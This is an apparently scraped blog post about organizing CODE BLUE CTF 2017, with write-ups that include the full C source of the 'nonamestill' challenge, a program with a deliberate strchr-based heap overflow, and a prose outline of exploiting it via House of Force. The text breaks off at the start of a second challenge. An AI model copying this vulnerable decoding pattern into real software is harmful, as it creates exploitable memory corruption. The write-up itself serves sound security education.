-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
309 lines (219 loc) · 232 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>binja</title>
<meta name="author" content="binja">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta property="og:site_name" content="binja"/>
<meta property="og:image" content=""/>
<link href="/favicon.png" rel="icon">
<link rel="alternate" href="/atom.xml" title="binja" type="application/atom+xml">
<link rel="stylesheet" href="/css/style.css" media="screen" type="text/css">
<!--[if lt IE 9]><script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
</head>
<body>
<header id="header" class="inner"><div class="alignleft">
<h1><a href="/">binja</a></h1>
<h2><a href="/"></a></h2>
</div>
<nav id="main-nav" class="alignright">
<ul>
<li><a href="/">Home</a></li>
<li><a href="/archives">Archives</a></li>
</ul>
<div class="clearfix"></div>
</nav>
<div class="clearfix"></div>
</header>
<div id="content" class="inner">
<div id="main-col" class="alignleft"><div id="wrapper">
<article class="post">
<div class="post-content">
<header>
<div class="icon"></div>
<time datetime="2017-11-12T15:51:50.000Z"><a href="/2017/11/13/Thoughts-on-CODE-BLUE-CTF-write-ups/">2017-11-13</a></time>
<h1 class="title"><a href="/2017/11/13/Thoughts-on-CODE-BLUE-CTF-write-ups/">Thoughts on CODE BLUE CTF(+ write-ups)</a></h1>
</header>
<div class="entry">
<h1 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h1><p>It took me(not binja!) almost 3 years to organize CODE BLUE CTF since I began to dream of it.<br>For those who wanna read only my write-ups, here is <a href="#writeup">the teleporter</a> :)</p>
<h1 id="2015-2016"><a href="#2015-2016" class="headerlink" title="2015-2016"></a>2015-2016</h1><p>In 2015, I was in the second year of high school.<br>Actually I had already lost my eagerness for CTF.<br>By then, I’d participated in DEFCON CTF 2014 Finals, which I think is the youngest record(I’m not sure), and won the 1st place in CODEGATE CTF 2015 Junior.<br>These results were honorable enough for me to consider to retire from “the unhealthy competition”.<br>Also almost 4 years had passed since I started CTF. They were just so long that I got bored.<br>(Still and all I’m lingering and continuing on playing CTF as you know. This is because there are tempting prizes and sometimes it’s fun nevetheless. How weak my determination is…)</p>
<p>But, there would be one regrettable thing if I had quit playing CTF at that time:<br> I never oraganized CTF.</p>
<p>As the somewhat experienced CTF player, I was enraged at some terrible domestic CTF, which is organized by some people who never take part in decent CTFs, and I thought that I could hold a much better CTF.<br>I was really unpleasant to see them never feel apologetic for creating extremely terrible problems or making fatal mistakes(Everyone makes mistakes of course. Post-treatment and introspection are important), and was worried if my country would be considered as “the country throwing up rubbish” by players in other coutries.<br>Therefore I made up my mind to organize a CTF. </p>
<p><img src="/downloads/binja2015.png" alt="binja CTF 2015"></p>
<p>As you can see, I created the “binja CTF 2015” folder in Google Drive, and called to my team members to work together to organize it.<br>They showed, however, little reaction to me.<br>It was maybe because they were members of society, which means that they were too busy to spare time for it, and that they had a relationship with those “bad” people, and their organizing CTF would be translated as a hostile act against the people. This is a Japanese “tradition”. I dislike it.<br>Indeed, as you may notice, I was very radical about this topic, and hated the people too much(Now I got mature enough, so I don’t care anymore). I was heartily disappointed with their reaction.</p>
<p>Nevertheless, one of them kindly created a problem(numonly), and I did it, too.<br>I created the following problems:</p>
<ul>
<li>My Sandbox Revenge: this problem came from “My Sandbox”, which I’d created in 2014 for <a href="https://twitter.com/ed_ctf" target="_blank" rel="external">EpsilonDelta CTF</a>. Because My Sandbox was considerably easy, I wanted to repair it. I’m sorry that ED CTF has already closed.</li>
<li>Under Debugging Revenge: this problem also came from “Under Debugging”, which is the worst crap I vomited into ED CTF. I really regretted posting that problem, and was waiting for an opportunity to improve it. It was then that I found <a href="https://www.dropbox.com/s/ugv8ua0f9ghdt1k/HuntingBirds.pdf?dl=1" target="_blank" rel="external">Master Canary Forging</a>, the technique of overwriting master canary. And I thought this could be used for the problem. After some experiments, it turned out that the technique can be applied for link_map, which means the technique is very strong and applicable to many cases. I was impressed with this event, and suceeded in updating Under Debugging. But actually the problem was used in <a href="https://drive.google.com/drive/folders/0B0IPQFTy9zUESEpqSmJhSDFvTFE" target="_blank" rel="external">WCTF 2017</a> :(</li>
<li>Demo Scene DB: this problem named after Plaid CTF 2015 PlaidDB. When I saw this problem, I recalled that I had found some heap exploitation technique and written <a href="http://www.npca.jp/works/magazine/2014_10/" target="_blank" rel="external">the club article about it</a> in my first year of high school. In this age, this is known as some kind of “House of Mind”.</li>
<li>nonamestill: this problem named after DEFCON CTF 2014 nonameyet. I found nonameyet had some unintended heap buffer overflow and eventually it turned out that the bug was attributed not to DEFCON, but to some open-source library which DEFCON used in that problem. I was impressed with the fact that such a beautiful real vulnerability can exist in a CTF problem, and wanted to create a problem using it.</li>
</ul>
<p>In creating CTF problems, I have some policies.<br>First, I want to say, to exploitation beginners, “Know the specifications”.<br>Hacking is to find a flaw, but one cannot see if what is a flaw without knowing the specifications of the target.<br>Therefore, hacking starts with becoming familiar with what you want to hack.<br>So I make it a rule to ask beginners specifications when I create a problem for them. In the above problems, nonamestill is the one which asks you how <code>strchr</code> works. </p>
<p>Second, hacking requires understanding what’s going on.<br>You may think this sentence states the same content as the first one.<br>But they are different in the point that anything can happen outside specifications.<br>It is obvious that there are countless ways of implementing specifications, and they could behave different ways despite of their complying with the specifications.<br>Then, what can we do to deal with this difference?<br>The most reliable method is to read source code.<br>In the above problems, My Sandbox Revenge and Demo Scene DB require you to do that.<br>They both actually have the key point in glibc, so it’s inevitable that you would download and read glibc.<br>At the same time, I’m very careful that those problem don’t need a sort of 0-day vulnerabilities or illogical processes.<br>Because this is CTF, just a miniature garden for hackers, it shouldn’t be unreasonable or unfair. The problems must be solvable using only a logical thinking.</p>
<p>From this point of view, I had a hard time creating Under Debugging Revenge.<br>At first, I used glibc’s <code>malloc</code> in this challenge, but it’s almost impossible for others to come up with Master Canary Forging or link_map Forging.<br>So I had to embed a kind of hint or “guide” to the intended solution.<br>That’s why I used Under Debugging, in which an original heap allocator that uses <code>mmap</code> was implemented.</p>
<p>“Vertical Takeoff Vertical landing” is also such a problem.<br><a href="https://twitter.com/charo_it" target="_blank" rel="external">@Charo_IT</a> joined my team in 2016, and he asked me if there was any interesting subject in GCC which could be used in CTF.<br>I skimmed the source code of GCC, and found <a href="https://gcc.gnu.org/wiki/vtv" target="_blank" rel="external">VTV</a>.<br>Then I came up with a problem where challengers have to bypass VTV.<br>The only thing is that the problem is in an unrealistic situation.<br>But that awkwardness must be a hint, so I left it as it is.</p>
<p>So far, I made 5 tasks.<br>However, I had no opportunity to release these problems because no other people were willing to create problems or organize a CTF.</p>
<h1 id="2017"><a href="#2017" class="headerlink" title="2017"></a>2017</h1><p>In 2017, I suddenly reached a turning point.<br>Actually some person in TokyoWesterns had the same complaints and anxiety about the domestic situation of CTF.<br>I asked him to cooperate with me to organize a CTF.<br>He generously accepted it. Thinking back now, actually his presence, urging me to act, was truly important for me.<br>Also, I told one of the organizers of CODE BLUE what we wanted to do, and asked her to allow us to organize CODE BLUE’s CTF.<br>To my surprise, she agreed with it extremely kindly and soon.<br>It was very fortunate that TokyoWesterns, that had lots of experience of organizing CTFs, was willing to support us and we could introduce our CTF as CODE BLUE CTF because the CTF of the conference is cool like HITCON CTF or DEFCON CTF.</p>
<p>Thus, “CODE BLUE CTF 2017” folder was born in Google Drive.<br><img src="/downloads/codeblue2017.png" alt="CODE BLUE CTF 2017"></p>
<p>After that, I called my team members for help again.<br>This time their responses were much better and they posted the problems really.<br>They can do that if they put their mind to it.</p>
<p>Time flies like an arrow; I felt it too short since we started preparing the CTF till it started.<br>Of course until then we prepared and tested the tasks, adjusting their difficulties.<br>But one of the regrettable things is the balance of problem categories.<br>As you can see, I had already prepared 4 problems while the others don’t have so much time to create a number of problems, especially difficult ones.<br>We didn’t want to release uninteresting problems, so I think that was inevitable due to the limit of time.<br>Another thing I feel sad about is that CODE BLUE CTF was a weekday CTF.<br>But this event hadn’t been an official event of CODE BLUE until we asked the organizers of CODE BLUE. That means they didn’t intend to spend resources on our CTF, or rather we were surprised at their kind preparation of prizes.<br>So I think a week day CTF was also inevitable though I’m mortified from the bottom of my heart.<br>Of course we are going to make the CTF better in those points. Don’t miss it!</p>
<h1 id="Write-ups"><a href="#Write-ups" class="headerlink" title="Write-ups"></a>Write-ups</h1>
<a name="writeup"></a>
<p>So stop a silly talk and let’s move on to write-ups!</p>
<h2 id="nonamestill"><a href="#nonamestill" class="headerlink" title="nonamestill"></a>nonamestill</h2><p>I think this problem is easier than Charo’s “Simple Memo Pad”, so I didn’t expect that only 4 teams could solve it.<br>Maybe this is because teams acted too carefully judging difficulties from the number of teams that had solved problems, and they never tackled with it.</p>
<p>Here is the source code of the problem:<br><figure class="highlight c"><figcaption><span>nonamestill.c</span><a href="/downloads/code/nonamestill.c">view raw</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> gcc nonamestill.c -o nonamestill -Wl,-s -m32</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">URLList</span> {</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">URLList</span> *<span class="title">next</span>;</span></span><br><span class="line"> <span class="keyword">char</span> url[];</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">URLList</span> *<span class="title">g_head</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">char</span> *<span class="title">cgiDecodeString</span> <span class="params">(<span class="keyword">char</span> *text)</span> </span>{</span><br><span class="line"> <span class="keyword">char</span> *cp, *xp;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (cp=text,xp=text; *cp; cp++) {</span><br><span class="line"> <span class="keyword">if</span> (*cp == <span class="string">'%'</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strchr</span>(<span class="string">"0123456789ABCDEFabcdef"</span>, *(cp+<span class="number">1</span>))</span><br><span class="line"> && <span class="built_in">strchr</span>(<span class="string">"0123456789ABCDEFabcdef"</span>, *(cp+<span class="number">2</span>))) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">islower</span>(*(cp+<span class="number">1</span>)))</span><br><span class="line"> *(cp+<span class="number">1</span>) = <span class="built_in">toupper</span>(*(cp+<span class="number">1</span>));</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">islower</span>(*(cp+<span class="number">2</span>)))</span><br><span class="line"> *(cp+<span class="number">2</span>) = <span class="built_in">toupper</span>(*(cp+<span class="number">2</span>));</span><br><span class="line"> *(xp) = (*(cp+<span class="number">1</span>) >= <span class="string">'A'</span> ? *(cp+<span class="number">1</span>) - <span class="string">'A'</span> + <span class="number">10</span> : *(cp+<span class="number">1</span>) - <span class="string">'0'</span> ) * <span class="number">16</span></span><br><span class="line"> + (*(cp+<span class="number">2</span>) >= <span class="string">'A'</span> ? *(cp+<span class="number">2</span>) - <span class="string">'A'</span> + <span class="number">10</span> : *(cp+<span class="number">2</span>) - <span class="string">'0'</span>);</span><br><span class="line"> xp++;cp+=<span class="number">2</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> *(xp++) = *cp;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memset</span>(xp, <span class="number">0</span>, cp-xp);</span><br><span class="line"> <span class="keyword">return</span> text;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">print_banner</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">" __ __ ____ _ ___ ___ __ ___ ___ ___ ____ "</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">" | | || \\ | | | \\ / _] / ] / \\ | \\ / _]| \\ "</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">" | | || D )| | | \\ / [_ / / | || \\ / [_ | D )"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">" | | || / | |___ | D || _]/ / | O || D || _]| / "</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">" | : || \\ | | | || [_/ \\_ | || || [_ | \\ "</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">" | || . \\| | | || \\ || || || || . \\"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">" \\__,_||__|\\_||_____| |_____||_____|\\____| \\___/ |_____||_____||__|\\_|"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">" "</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">print_menu</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"===== Menu ====="</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"1: create a url"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"2: decode a url"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"3: list urls"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"4: delete a url"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"5: exit"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"================\n"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">get_integer</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> ret = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">16</span>];</span><br><span class="line"> fgets(buf, <span class="keyword">sizeof</span>(buf), <span class="built_in">stdin</span>);</span><br><span class="line"> <span class="built_in">sscanf</span>(buf, <span class="string">"%d"</span>, &ret);</span><br><span class="line"> <span class="keyword">return</span> ret;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">create_url</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> size;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">URLList</span> *<span class="title">node</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"size: "</span>);</span><br><span class="line"> size = get_integer();</span><br><span class="line"> <span class="keyword">if</span> (size+<span class="keyword">sizeof</span>(struct URLList) < size) {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Error: invalid size"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> node = <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(struct URLList) + size);</span><br><span class="line"> <span class="keyword">if</span> (!node) {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Error: malloc failed"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"URL: "</span>);</span><br><span class="line"> fgets(node->url, size, <span class="built_in">stdin</span>);</span><br><span class="line"> node->next = g_head;</span><br><span class="line"> g_head = node;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">decode_url</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> idx;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"index: "</span>);</span><br><span class="line"> idx = get_integer();</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">URLList</span> *<span class="title">node</span> = <span class="title">g_head</span>;</span></span><br><span class="line"> <span class="keyword">while</span> (idx--) {</span><br><span class="line"> <span class="keyword">if</span> (node == <span class="literal">NULL</span>) <span class="keyword">break</span>;</span><br><span class="line"> node = node->next;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (node == <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Error: no such url"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> cgiDecodeString(node->url);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">list_urls</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> idx = <span class="number">0</span>;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">URLList</span> *<span class="title">node</span> = <span class="title">g_head</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"LIST START"</span>);</span><br><span class="line"> <span class="keyword">while</span> (node) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%d: %s\n"</span>, idx, node->url);</span><br><span class="line"> node = node->next;</span><br><span class="line"> idx++;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"LIST END"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">delete_url</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> idx;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"index: "</span>);</span><br><span class="line"> idx = get_integer();</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">URLList</span> *<span class="title">prev</span> = <span class="title">NULL</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">URLList</span> *<span class="title">node</span> = <span class="title">g_head</span>;</span></span><br><span class="line"> <span class="keyword">while</span> (idx--) {</span><br><span class="line"> <span class="keyword">if</span> (node == <span class="literal">NULL</span>) <span class="keyword">break</span>;</span><br><span class="line"> prev = node;</span><br><span class="line"> node = node->next;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (node == <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Error: no such url"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (prev == <span class="literal">NULL</span>) {</span><br><span class="line"> g_head = node->next;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> prev->next = node->next;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">free</span>(node);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> setbuf(<span class="built_in">stdout</span>, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"> print_banner();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">int</span> cmd;</span><br><span class="line"></span><br><span class="line"> print_menu();</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"> "</span>);</span><br><span class="line"> cmd = get_integer();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (cmd == <span class="number">1</span>) {</span><br><span class="line"> create_url();</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (cmd == <span class="number">2</span>) {</span><br><span class="line"> decode_url();</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (cmd == <span class="number">3</span>) {</span><br><span class="line"> list_urls();</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (cmd == <span class="number">4</span>) {</span><br><span class="line"> delete_url();</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (cmd == <span class="number">5</span>) {</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Error: undefined command"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>At once you can see that cgiDecodeString is very suspicious.<br>Its naming convention is different from others’ one in the first place.</p>
<p>Because there seems to be no other interesting function in this source code, one can immediately suspect that this function has a vulnerability; actually it has.<br>Let’s take a look at line 21 and 22.<br>It is obvious that these lines check if a character is included in the character set “0123456789ABCDEFabcdef”.<br>But, are you confident that you understand the specifications of <code>strchr</code> correctly?<br>If not, why don’t you google the man page?</p>
<p>It says </p>
<blockquote>
<p>The terminating null byte is considered part of the string, so that if c is specified as ‘\0’, these functions return a pointer to the terminator.</p>
</blockquote>
<p>So this means if cp = “A\x00”, these lines hold true.<br>And it causes a buffer overrun and eventually a heap-based buffer overflow.<br>After noticing this fact, you can just use House of Force and get the flag :)</p>
<h2 id="Vertical-Takeoff-Vertical-landing"><a href="#Vertical-Takeoff-Vertical-landing" class="headerlink" title="Vertical Takeoff Vertical landing"></a>Vertical Takeoff Vertical landing</h2><p>Surprisingly, Cykor solved this problem for only an hour and a half!<br>In my opinion, this problems is the second hardest in my 4 problems, so I was astonished.</p>
<p>Here is the source code of the problem:<br><figure class="highlight c"><figcaption><span>vtvl.cpp++</span><a href="/downloads/code/vtvl.cpp">view raw</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span 